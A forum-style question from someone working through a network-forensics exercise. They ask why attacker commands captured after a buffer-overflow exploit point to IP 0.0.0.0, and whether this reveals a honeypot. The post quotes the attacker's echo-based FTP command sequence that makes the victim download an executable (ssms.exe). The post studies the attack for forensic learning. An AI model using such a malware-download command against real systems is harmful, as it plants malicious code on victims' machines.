Working through this exercise in network forensics, the attacker used a buffer overflow exploit to send commands to the victim's command prompt. The commands open an FTP session and download some malware. I'm confused about why it works with the ip address 0.0.0.0 The packets show the attacker binds a shell on the victim's host and uses FTP to force it to download an executable.
The commands are:
echo open 0.0.0.0 8884 echo user 1 1 echo get ssms.exe
My question is, how would they get anywhere using the IP address 0.0.0.0 ?? Is the bound shell somehow associated with / "in" the attacker's network while the exploit is going on so that 0.0.0.0 resolves to localhost on the attacker's machine?
Some of the answers used the presence of this IP address to prove that the victim was a honeypot because it accepted any IP address the attacker gave them and downloaded the exe as told. Still, how would 0.0.0.0 get anywhere? Also, wouldn't this be a nice way for an attacker to know they have hacked into a honeypot?